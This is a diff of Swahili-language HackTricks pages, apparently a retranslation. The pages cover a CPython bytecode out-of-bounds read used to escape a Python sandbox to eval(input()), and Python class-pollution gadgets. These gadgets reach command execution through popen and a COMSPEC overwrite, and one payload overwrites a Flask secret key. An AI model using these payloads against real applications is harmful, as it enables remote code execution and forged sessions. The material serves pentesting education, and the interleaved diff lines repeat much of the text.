Kwa njia hii, mizunguko yote inayojumuisha consts (k.m. nambari, herufi n.k.) au majina (k.m. vitu, kazi) inaweza kusababisha kosa la segemantasi mwishowe.
|
||||
|
||||
### Kusoma Nje ya Kikomo <a href="#kusoma-nje-ya-kikomo" id="kusoma-nje-ya-kikomo"></a>
|
||||
### Kusoma Nje ya Kikomo <a href="#out-of-bound-read" id="out-of-bound-read"></a>
|
||||
|
||||
Kosa la kugawanyika linatokea vipi?
|
||||
Jinsi gani kosa la segemantasi linatokea?
|
||||
|
||||
Tuanze na mfano rahisi, `[a, b, c]` inaweza kuandaliwa kuwa nambari ya chini ifuatayo.
|
||||
Tuanze na mfano rahisi, `[a, b, c]` inaweza kukusanywa kuwa bytecode ifuatayo.
|
||||
```
|
||||
1 0 LOAD_NAME 0 (a)
|
||||
2 LOAD_NAME 1 (b)
|
||||
|
|
@ -47,11 +48,11 @@ Tuanze na mfano rahisi, `[a, b, c]` inaweza kuandaliwa kuwa nambari ya chini ifu
|
|||
6 BUILD_LIST 3
|
||||
8 RETURN_VALUE12345
|
||||
```
|
||||
Lakini ikiwa `co_names` inakuwa tuple tupu? OPCODE ya `LOAD_NAME 2` bado inatekelezwa, na jaribu kusoma thamani kutoka kwa anwani ya kumbukumbu ambayo awali ilikuwa. Ndiyo, hii ni "vipengele" vya kusoma nje ya mipaka.
|
||||
Lakini ikiwa `co_names` itakuwa tuple tupu? OPCODE ya `LOAD_NAME 2` bado inatekelezwa, na jaribu kusoma thamani kutoka kwa anwani ya kumbukumbu ambayo kimsingi inapaswa kuwa. Ndiyo, hii ni kusoma nje ya mipaka "sifa".
|
||||
|
||||
Wazo kuu la suluhisho ni rahisi. Baadhi ya OPCODES katika CPython kama vile `LOAD_NAME` na `LOAD_CONST` ni hatari (?) kwa kusoma nje ya mipaka.
|
||||
Mfumo msingi wa suluhisho ni rahisi. Baadhi ya opcodes katika CPython kwa mfano `LOAD_NAME` na `LOAD_CONST` wako katika hatari (?) ya kusoma nje ya mipaka.
|
||||
|
||||
Hizi hupata kitu kutoka kwa index `oparg` kutoka kwa tuple za `consts` au `names` (ndio maana `co_consts` na `co_names` zinaitwa chini ya pazia). Tunaweza kutaja snippest fupi ifuatayo kuhusu `LOAD_CONST` kuona CPython inafanya nini wakati inapoprosesia OPCODE ya `LOAD_CONST`.
|
||||
Hupata kitu kutoka kwa index `oparg` kutoka kwa tuple za `consts` au `names` (hizo ndizo zinaitwa `co_consts` na `co_names` chini ya pazia). Tunaweza kurejelea snippest fupi ifuatayo kuhusu `LOAD_CONST` kuona CPython inafanya nini wakati inaprocess hadi OPCODE ya `LOAD_CONST`.
|
||||
```c
|
||||
case TARGET(LOAD_CONST): {
|
||||
PREDICTED(LOAD_CONST);
|
||||
|
|
@ -61,19 +62,19 @@ PUSH(value);
|
|||
FAST_DISPATCH();
|
||||
}1234567
|
||||
```
|
||||
Kwa njia hii tunaweza kutumia kipengele cha OOB kupata "jina" kutoka kumbukumbu isiyojulikana. Ili kuhakikisha jina lina nini na ni kumbukumbu gani, jaribu tu `LOAD_NAME 0`, `LOAD_NAME 1` ... `LOAD_NAME 99` ... Na unaweza kupata kitu kwenye oparg > 700. Unaweza pia jaribu kutumia gdb kuangalia muundo wa kumbukumbu, lakini sidhani itakuwa rahisi zaidi?
|
||||
Kwa njia hii tunaweza kutumia kipengele cha OOB kupata "jina" kutoka kwa mbadala wa kumbukumbu. Ili kuhakikisha jina lina nini na ni mbadala gani, jaribu tu `LOAD_NAME 0`, `LOAD_NAME 1` ... `LOAD_NAME 99` ... Na unaweza kupata kitu karibu na oparg > 700. Unaweza pia kujaribu kutumia gdb kuangalia muundo wa kumbukumbu bila shaka, lakini siamini itakuwa rahisi zaidi?
|
||||
|
||||
### Kuzalisha Shambulizi <a href="#generating-the-exploit" id="generating-the-exploit"></a>
|
||||
|
||||
Marafiki tunapopata vipengele muhimu kwa majina / consts, _je_ tunapata jina / const kutoka kwa kumbukumbu hiyo na kuitumia? Hapa kuna hila kwako:\
|
||||
Tufikirie tunaweza kupata jina la `__getattribute__` kutoka kumbukumbu ya 5 (`LOAD_NAME 5`) na `co_names=()`, basi fanya mambo yafuatayo:
|
||||
Marafiki tunapopata vipande muhimu kwa majina / mbadala, vipi _tunavyoweza_ kupata jina / mbadala kutoka kwa mbadala huo na kulitumia? Hapa kuna hila kwako:\
|
||||
Hebu tufikirie tunaweza kupata jina la `__getattribute__` kutoka kwa mbadala 5 (`LOAD_NAME 5`) na `co_names=()`, basi fanya mambo yafuatayo:
|
||||
```python
|
||||
[a,b,c,d,e,__getattribute__] if [] else [
|
||||
[].__getattribute__
|
||||
# you can get the __getattribute__ method of list object now!
|
||||
]1234
|
||||
```
|
||||
> Tafadhali kumbuka kwamba siyo lazima kuita hii kama `__getattribute__`, unaweza kuita kwa jina fupi au la kushangaza zaidi.
|
||||
> Tafadhali fahamu kwamba si lazima kuiita kama `__getattribute__`, unaweza kuipa jina fupi au la kipekee zaidi
|
||||
|
||||
Unaweza kuelewa sababu nyuma yake kwa kuangalia bytecode yake:
|
||||
```python
|
||||
|
|
@ -92,20 +93,20 @@ Unaweza kuelewa sababu nyuma yake kwa kuangalia bytecode yake:
|
|||
24 BUILD_LIST 1
|
||||
26 RETURN_VALUE1234567891011121314
|
||||
```
|
||||
Tambua kuwa `LOAD_ATTR` pia inapata jina kutoka `co_names`. Python inapakia majina kutoka kwa offset sawa ikiwa jina ni sawa, kwa hivyo `__getattribute__` ya pili bado inapakia kutoka offset=5. Kwa kutumia kipengele hiki, tunaweza kutumia jina lolote tunapotumia jina hilo karibu na kumbukumbu.
|
||||
Tambua kwamba `LOAD_ATTR` pia hurejesha jina kutoka `co_names`. Python huload majina kutoka kwa offset ile ile ikiwa jina ni sawa, hivyo `__getattribute__` ya pili bado inapakiwa kutoka offset=5. Kwa kutumia kipengele hiki tunaweza kutumia jina lolote mara tu jina linapo karibu na kumbukumbu.
|
||||
|
||||
Kwa kuzalisha nambari, inapaswa kuwa rahisi:
|
||||
Kwa kuzalisha nambari inapaswa kuwa rahisi:
|
||||
|
||||
* 0: sio \[\[]]
|
||||
* 1: sio \[]
|
||||
* 2: (sio \[]) + (sio \[])
|
||||
* ...
|
||||
|
||||
### Skripti ya Udukuzi <a href="#exploit-script-1" id="exploit-script-1"></a>
|
||||
### Skripti ya Kutumia <a href="#exploit-script-1" id="exploit-script-1"></a>
|
||||
|
||||
Sikutumia consts kwa sababu ya kikomo cha urefu.
|
||||
Sikutumia consts kutokana na kikomo cha urefu.
|
||||
|
||||
Kwanza hapa kuna skripti ili tuweze kupata hizo offset za majina.
|
||||
Kwanza hapa kuna skripti ili tuweze kupata hizo offsets za majina.
|
||||
```python
|
||||
from types import CodeType
|
||||
from opcode import opmap
|
||||
|
|
@ -140,7 +141,7 @@ print(f'{n}: {ret}')
|
|||
|
||||
# for i in $(seq 0 10000); do python find.py $i ; done1234567891011121314151617181920212223242526272829303132
|
||||
```
|
||||
Na yafuatayo ni kwa ajili ya kuzalisha shambulio halisi la Python.
|
||||
Na yafuatayo ni kwa ajili ya kuzalisha shambulizi la Python halisi.
|
||||
```python
|
||||
import sys
|
||||
import unicodedata
|
||||
|
|
@ -230,16 +231,17 @@ getattr(
|
|||
'__repr__').__getattribute__('__globals__')['builtins']
|
||||
builtins['eval'](builtins['input']())
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Jifunze na zoea AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks kwa Wataalam wa Timu Nyekundu ya AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoea GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks kwa Wataalam wa Timu Nyekundu ya GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>unga mkono HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikionekana katika HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -1,23 +1,23 @@
|
|||
# Class Pollution (Python's Prototype Pollution)
|
||||
# Uchafuzi wa Darasa (Uchafuzi wa Kielelezo cha Python)
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na zoezi la Udukuzi wa AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Timu Nyekundu Mtaalam (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoezi la Udukuzi wa GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Timu Nyekundu Mtaalam (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PR kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Mfano Msingi
|
||||
## Mfano wa Msingi
|
||||
|
||||
Angalia jinsi inavyowezekana kuchafua darasa la vitu na herufi:
|
||||
|
||||
```python
|
||||
class Company: pass
|
||||
class Developer(Company): pass
|
||||
|
|
@ -41,56 +41,7 @@ e.__class__.__base__.__base__.__qualname__ = 'Polluted_Company'
|
|||
print(d) #<__main__.Polluted_Developer object at 0x1041d2b80>
|
||||
print(c) #<__main__.Polluted_Company object at 0x1043a72b0>
|
||||
```
|
||||
|
||||
## Mfano wa Msingi wa Udhaifu
|
||||
|
||||
### Introduction
|
||||
|
||||
In this section, we will discuss a basic vulnerability known as **class pollution**. Class pollution is a type of vulnerability that occurs when an attacker is able to modify or manipulate the properties and methods of a class in a programming language.
|
||||
|
||||
### Understanding Class Pollution
|
||||
|
||||
Class pollution takes advantage of the dynamic nature of certain programming languages, such as Python. In Python, classes are mutable, which means that their properties and methods can be modified at runtime.
|
||||
|
||||
An attacker can exploit this vulnerability by injecting malicious code into a class, thereby altering its behavior. This can lead to various security issues, such as unauthorized access, privilege escalation, or even remote code execution.
|
||||
|
||||
### Example Scenario
|
||||
|
||||
To better understand class pollution, let's consider a simple example. Suppose we have a Python class called `User` with a method called `login`. The `login` method is responsible for authenticating a user.
|
||||
|
||||
```python
|
||||
class User:
|
||||
def login(self, username, password):
|
||||
# Authenticates the user
|
||||
# ...
|
||||
```
|
||||
|
||||
Now, imagine an attacker is able to pollute the `User` class by injecting a malicious method called `login` that performs a different action, such as logging the user's credentials.
|
||||
|
||||
```python
|
||||
class User:
|
||||
def login(self, username, password):
|
||||
# Logs the user's credentials
|
||||
# ...
|
||||
```
|
||||
|
||||
If the application relies on the `User` class for authentication, the attacker's injected code will be executed instead of the legitimate `login` method. This can result in the attacker gaining unauthorized access to the system.
|
||||
|
||||
### Mitigation
|
||||
|
||||
To mitigate class pollution vulnerabilities, it is important to follow secure coding practices. Here are some recommendations:
|
||||
|
||||
* Avoid using mutable classes whenever possible.
|
||||
* Implement proper input validation and sanitization to prevent code injection.
|
||||
* Regularly update and patch the programming language and frameworks used in your application.
|
||||
* Use static code analysis tools to identify potential vulnerabilities in your codebase.
|
||||
|
||||
By following these best practices, you can reduce the risk of class pollution vulnerabilities and enhance the security of your applications.
|
||||
|
||||
### Conclusion
|
||||
|
||||
Class pollution is a basic vulnerability that can have serious consequences if not properly addressed. It is crucial for developers to be aware of this vulnerability and take appropriate measures to mitigate it.
|
||||
|
||||
## Mfano wa Udhaifu wa Msingi
|
||||
```python
|
||||
# Initial state
|
||||
class Employee: pass
|
||||
|
|
@ -123,41 +74,62 @@ USER_INPUT = {
|
|||
merge(USER_INPUT, emp)
|
||||
print(vars(emp)) #{'name': 'Ahemd', 'age': 23, 'manager': {'name': 'Sarah'}}
|
||||
```
|
||||
|
||||
## Mifano ya Vifaa
|
||||
## Mifano ya Gadgeti
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Kuunda thamani ya msingi ya mali ya darasa kwa RCE (subprocess)</summary>
|
||||
```python
|
||||
from os import popen
|
||||
class Employee: pass # Creating an empty class
|
||||
class HR(Employee): pass # Class inherits from Employee class
|
||||
class Recruiter(HR): pass # Class inherits from HR class
|
||||
|
||||
\`\`\`python from os import popen class Employee: pass # Creating an empty class class HR(Employee): pass # Class inherits from Employee class class Recruiter(HR): pass # Class inherits from HR class
|
||||
|
||||
class SystemAdmin(Employee): # Class inherits from Employee class def execute\_command(self): command = self.custom\_command if hasattr(self, 'custom\_command') else 'echo Hello there' return f'\[!] Executing: "{command}", output: "{popen(command).read().strip()}"'
|
||||
class SystemAdmin(Employee): # Class inherits from Employee class
|
||||
def execute_command(self):
|
||||
command = self.custom_command if hasattr(self, 'custom_command') else 'echo Hello there'
|
||||
return f'[!] Executing: "{command}", output: "{popen(command).read().strip()}"'
|
||||
|
||||
def merge(src, dst):
|
||||
# Recursive merge function
|
||||
for k, v in src.items():
|
||||
if hasattr(dst, '__getitem__'):
|
||||
if dst.get(k) and type(v) == dict:
|
||||
merge(v, dst.get(k))
|
||||
else:
|
||||
dst[k] = v
|
||||
elif hasattr(dst, k) and type(v) == dict:
|
||||
merge(v, getattr(dst, k))
|
||||
else:
|
||||
setattr(dst, k, v)
|
||||
|
||||
## Recursive merge function
|
||||
USER_INPUT = {
|
||||
"__class__":{
|
||||
"__base__":{
|
||||
"__base__":{
|
||||
"custom_command": "whoami"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for k, v in src.items(): if hasattr(dst, '**getitem**'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst\[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v)
|
||||
recruiter_emp = Recruiter()
|
||||
system_admin_emp = SystemAdmin()
|
||||
|
||||
USER\_INPUT = { "**class**":{ "**base**":{ "**base**":{ "custom\_command": "whoami" } } } }
|
||||
print(system_admin_emp.execute_command())
|
||||
#> [!] Executing: "echo Hello there", output: "Hello there"
|
||||
|
||||
recruiter\_emp = Recruiter() system\_admin\_emp = SystemAdmin()
|
||||
# Create default value for Employee.custom_command
|
||||
merge(USER_INPUT, recruiter_emp)
|
||||
|
||||
print(system\_admin\_emp.execute\_command()) #> \[!] Executing: "echo Hello there", output: "Hello there"
|
||||
|
||||
## Create default value for Employee.custom\_command
|
||||
|
||||
merge(USER\_INPUT, recruiter\_emp)
|
||||
|
||||
print(system\_admin\_emp.execute\_command()) #> \[!] Executing: "whoami", output: "abdulrah33m"
|
||||
|
||||
````
|
||||
print(system_admin_emp.execute_command())
|
||||
#> [!] Executing: "whoami", output: "abdulrah33m"
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Kuchafua darasa na vars za ulimwengu kupitia <code>globals</code></summary>
|
||||
<summary>Kuchafua darasa zingine na vars za ulimwengu kupitia <code>globals</code></summary>
|
||||
```python
|
||||
def merge(src, dst):
|
||||
# Recursive merge function
|
||||
|
|
@ -184,40 +156,46 @@ merge({'__class__':{'__init__':{'__globals__':{'not_accessible_variable':'Pollut
|
|||
|
||||
print(not_accessible_variable) #> Polluted variable
|
||||
print(NotAccessibleClass) #> <class '__main__.PollutedClass'>
|
||||
````
|
||||
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Utekelezaji wa mchakato usio na kikomo</summary>
|
||||
<summary>Kutekeleza mchakato wa chini kwa hiari</summary>
|
||||
```python
|
||||
import subprocess, json
|
||||
|
||||
\`\`\`python import subprocess, json
|
||||
|
||||
class Employee: def **init**(self): pass
|
||||
class Employee:
|
||||
def __init__(self):
|
||||
pass
|
||||
|
||||
def merge(src, dst):
|
||||
# Recursive merge function
|
||||
for k, v in src.items():
|
||||
if hasattr(dst, '__getitem__'):
|
||||
if dst.get(k) and type(v) == dict:
|
||||
merge(v, dst.get(k))
|
||||
else:
|
||||
dst[k] = v
|
||||
elif hasattr(dst, k) and type(v) == dict:
|
||||
merge(v, getattr(dst, k))
|
||||
else:
|
||||
setattr(dst, k, v)
|
||||
|
||||
## Recursive merge function
|
||||
# Overwrite env var "COMSPEC" to execute a calc
|
||||
USER_INPUT = json.loads('{"__init__":{"__globals__":{"subprocess":{"os":{"environ":{"COMSPEC":"cmd /c calc"}}}}}}') # attacker-controlled value
|
||||
|
||||
for k, v in src.items(): if hasattr(dst, '**getitem**'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst\[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v)
|
||||
|
||||
## Overwrite env var "COMSPEC" to execute a calc
|
||||
|
||||
USER\_INPUT = json.loads('{"**init**":{"**globals**":{"subprocess":{"os":{"environ":{"COMSPEC":"cmd /c calc"\}}\}}\}}') # attacker-controlled value
|
||||
|
||||
merge(USER\_INPUT, Employee())
|
||||
merge(USER_INPUT, Employee())
|
||||
|
||||
subprocess.Popen('whoami', shell=True) # Calc.exe will pop up
|
||||
|
||||
````
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Kuandika upya <strong><code>__kwdefaults__</code></strong></summary>
|
||||
|
||||
**`__kwdefaults__`** ni sifa maalum ya kazi zote, kulingana na [hati ya Python](https://docs.python.org/3/library/inspect.html), ni "ramani ya thamani za chaguo-msingi kwa **vigezo vya pekee vya maneno**". Kuchafua sifa hii inaturuhusu kudhibiti thamani za chaguo-msingi za vigezo vya pekee vya maneno vya kazi, hivi ni vigezo vya kazi vinavyokuja baada ya \* au \*args.
|
||||
**`__kwdefaults__`** ni sifa maalum ya kazi zote, kulingana na [hati ya Python](https://docs.python.org/3/library/inspect.html), ni "ramani ya thamani za chaguo-msingi kwa vigezo vya **maneno-pekee**". Kuchafua sifa hii inaruhusu sisi kudhibiti thamani za chaguo-msingi za vigezo vya maneno-pekee vya kazi, hivi ni vigezo vya kazi vinavyokuja baada ya \* au \*args.
|
||||
```python
|
||||
from os import system
|
||||
import json
|
||||
|
|
@ -253,23 +231,20 @@ merge(emp_info, Employee())
|
|||
print(execute.__kwdefaults__) #> {'command': 'echo Polluted'}
|
||||
execute() #> Executing echo Polluted
|
||||
#> Polluted
|
||||
````
|
||||
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Kuandika upya siri ya Flask kwenye faili tofauti</summary>
|
||||
|
||||
Kwa hiyo, ikiwa unaweza kufanya uchafuzi wa darasa juu ya kitu kilichoelezwa katika faili kuu ya python ya wavuti lakini **ambayo darasa lake limefafanuliwa katika faili tofauti** kuliko ile kuu. Kwa sababu ili kupata ufikiaji wa \_\_globals\_\_ katika mizigo iliyotangulia unahitaji kupata ufikiaji wa darasa la kitu au njia za darasa, utaweza **kupata ufikiaji wa globals katika faili hiyo, lakini sio katika ile kuu**.\
|
||||
Kwa hiyo, **hutaweza kupata ufikiaji wa kipengele cha kawaida cha programu ya Flask** ambacho kimefafanua **ufunguo wa siri** katika ukurasa wa kuu:
|
||||
<summary>Kuandika upya siri ya Flask kote kwenye faili</summary>
|
||||
|
||||
Kwa hivyo, ikiwa unaweza kufanya uchafuzi wa darasa juu ya kitu kilichoelezwa kwenye faili kuu ya python ya wavuti lakini **ambayo darasa lake limefafanuliwa kwenye faili tofauti** kuliko ile kuu. Kwa sababu ili kupata \_\_globals\_\_ katika mizigo iliyopita unahitaji kupata darasa la kitu au njia za darasa, utaweza **kupata globals katika faili hiyo, lakini sio kwenye ile kuu**. \
|
||||
Kwa hivyo, **hutaweza kupata kitu cha kawaida cha programu ya Flask** kilichoelezea **ufunguo wa siri** kwenye ukurasa wa msingi:
|
||||
```python
|
||||
app = Flask(__name__, template_folder='templates')
|
||||
app.secret_key = '(:secret:)'
|
||||
```
|
||||
|
||||
Katika hali hii unahitaji kifaa cha kupitia faili ili kufikia faili kuu ili **kupata ufikiaji wa kifaa cha kawaida `app.secret_key`** ili kubadilisha Flask secret key na kuweza [**kuongeza mamlaka** kwa kujua ufunguo huu](../../network-services-pentesting/pentesting-web/flask.md#flask-unsign).
|
||||
Katika hali hii unahitaji kifaa cha kupitia faili ili kufikia faili kuu **kupata kipengele cha kimataifa `app.secret_key`** ili kubadilisha ufunguo wa siri wa Flask na kuweza [**kupandisha vyeo** ukiwa na ufahamu wa ufunguo huu](../../network-services-pentesting/pentesting-web/flask.md#flask-unsign).
|
||||
|
||||
Payload kama hii [kutoka kwenye andiko hili](https://ctftime.org/writeup/36082):
|
||||
|
||||
|
|
@ -279,11 +254,11 @@ __init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app.se
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Tumia mzigo huu wa **kubadilisha `app.secret_key`** (jina katika programu yako inaweza kuwa tofauti) ili uweze kusaini kuki za flask zenye mamlaka zaidi.
|
||||
Tumia mzigo huu wa **kubadilisha `app.secret_key`** (jina katika programu yako linaweza kutofautiana) ili uweze kusaini vidakuzi vya flask vipya na vyenye mamlaka zaidi.
|
||||
|
||||
</details>
|
||||
|
||||
Angalia pia ukurasa ufuatao kwa vifaa vya kusoma tu:
|
||||
Angalia pia ukurasa ufuatao kwa vifaa vya kusoma tu zaidi:
|
||||
|
||||
{% content-ref url="python-internal-read-gadgets.md" %}
|
||||
[python-internal-read-gadgets.md](python-internal-read-gadgets.md)
|
||||
|
|
@ -293,16 +268,17 @@ Angalia pia ukurasa ufuatao kwa vifaa vya kusoma tu:
|
|||
|
||||
* [https://blog.abdulrah33m.com/prototype-pollution-in-python/](https://blog.abdulrah33m.com/prototype-pollution-in-python/)
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze & jifunze AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & jifunze GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako inatangazwa katika HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Angalia [**mpango wa michango**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -1,28 +1,29 @@
|
|||
# Pyscript
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na zoezi la AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoezi la GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
